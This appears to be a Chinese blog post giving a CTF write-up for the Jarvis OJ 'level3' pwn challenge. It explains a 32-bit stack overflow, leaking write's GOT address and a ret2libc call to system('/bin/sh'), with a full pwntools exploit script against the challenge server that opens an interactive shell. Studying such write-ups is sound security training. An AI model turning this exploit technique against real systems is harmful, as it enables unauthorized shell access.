level3

2023-10-25 04:40
文章标签 level3

本文主要是介绍level3,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

level 3

 在终端中输入file level3  查看为32位,

checksec level3命令,发现栈是不受保护,

在IDA中查看伪代码,

很明显的栈溢出漏洞,但是没有system函数和/bin/sh字符串,只有一个write函数,泄露函数got表中的地址获取到库中某个函数的真正加载地址,通过偏移找出函数的库,通过然后找出其他函数的真正加载地址,包括system函数也包括/bin/sh字符串,

构造payload: payload=’A’0x88+’A’4+p32(plt_write)+p32(main_addr)+p32(1)+p32(got_write)+p32(4)

32(1),p32(4),与write函数在GOT表中的地址共同组成write函数的三个参数,

 

可以看出buf需要填充的字符是88的大小,由于是32位所以,‘A’*4

p32(plt_write)是write函数在plt表中的地址,因为调用一个函数相当于开辟一个新的栈,所以需要再返回一个函数地址指向main函数。。

要得到偏移量我们首先要的到某个函数在got表中储存的真实地址(本题在level3里的函数的地址,我看做libc库函数地址的一个映射),

偏移量就是got表里储存的地址与libc库函数地址的一个映射。。

用libc在ida中打开,找到write函数,双击就能得到libc中write函数的地址。

 

write函数在plt表中的地址,在level3中打开,

 

脚本如下:

 

from pwn import *
p=remote(“pwn2.jarvisoj.com”,9879)
e=ELF(“level3”)
libc=ELF(“libc-2.19.so”)
writ_a=e.symbols[‘write’]
rea=0x08048484
got_write=e.got[‘write’]p.recv()
payload=(0x88+4)‘A’+p32(writ_a)+p32(rea)+p32(1)+p32(got_write)+p32(4)
p.send(payload)
aaa=p.recv(4)
true_write=u32(aaa)
print hex(true_write)
x=true_write-libc.symbols[‘write’]
true_bin=x+libc.search("/bin/sh").next()
true_sys=x+libc.symbols[‘system’]
payload=(0x88+4)‘A’+p32(true_sys)+p32(0)+p32(true_bin)
p.send(payload)
p.interactive()

 

脚本写好后,在桌面下Python 脚本名字

然后ls 最后cat出flag,

 

 

 

 

 

这篇关于level3的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/280090

相关文章

Level3 — PART 3 — 自然语言处理与文本分析

目录 自然语言处理概要 分词与词性标注 N-Gram 分词 分词及词性标注的难点 法则式分词法 全切分 FMM和BMM Bi-direction MM 优缺点 统计式分词法 N-Gram概率模型 HMM概率模型 词性标注(Part-of-Speech Tagging) HMM 文本挖掘概要 信息检索(Information Retrieval) 全文扫描 关键词

Level3 — PART 4 机器学习算法 — 集成学习

目录 模型融合  多数法(Max Voting) 平均法(Averaging)  加权平均法(Weighted Averaging)  堆叠法(Stacking)​编辑 混合法(Blending)  机器学习元算法 袋装法(Bagging) 通用袋装法 随机森林 提升法(Boosting) AdaBoost GBDT 案例 Python中实现GBDT XGBoost

Level3 — PART 4 — 机器学习算法 — 模型评估

目录 模拟题 CDA LEVEL III 模拟题(一) CDA LEVEL III 模拟题(二)          关于模型评估,读者可以阅读如下几篇文章: 分类模型评估: 第7章-使用统计方法进行变量有效性测试-7.5.4-模型评估-CSDN博客 聚类模型评估: 第9章-用户分群方法-聚类评估指标-CSDN博客 回归模型评估: 第7章-使用统计方法进行变量有效性测试-7.

Level3 — PART 4 机器学习算法 — 朴素贝叶斯

目录 贝叶斯定理 朴素贝叶斯模型(Naive Bayes Model) 估计 离散估计 极大似然估计 案例 朴素贝叶斯扩展 高斯贝叶斯分类器 原理 应用 源码分析 伯努利贝叶斯分类器 原理 源码分析 多项朴素贝叶斯分类器 半朴素贝叶斯分类器 模拟题   CDA LEVEL III 模拟题(一) CDA LEVEL III 模拟题(二)  贝叶斯定理

[WUSTCTF2020]level3

base64换表 但是这的表有一个引用 模拟执行 #DRKCTF{}a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'flag=[ord(i) for i in a]for i in range(0,10):flag[i],flag[19-i]=flag[19-i],flag[i]

MFC逆向之CrackMe Level3 过反调试 + 写注册机

今天我来分享一下,过反调试的方法以及使用IDA还原代码 + 写注册机的过程 由于内容太多,我准备分为两个帖子写,这个帖子主要是写IDA还原代码,下一个帖子是写反调试的分析以及过反调试和异常 这个CrackMe Level3是一个朋友发我的,我也不知道他在哪里弄的,我感觉挺好玩的,对反调试 异常 以及代码还原的学习有一些帮助 调试器:X64和OD 反编译工具:IDA PE工具:Dete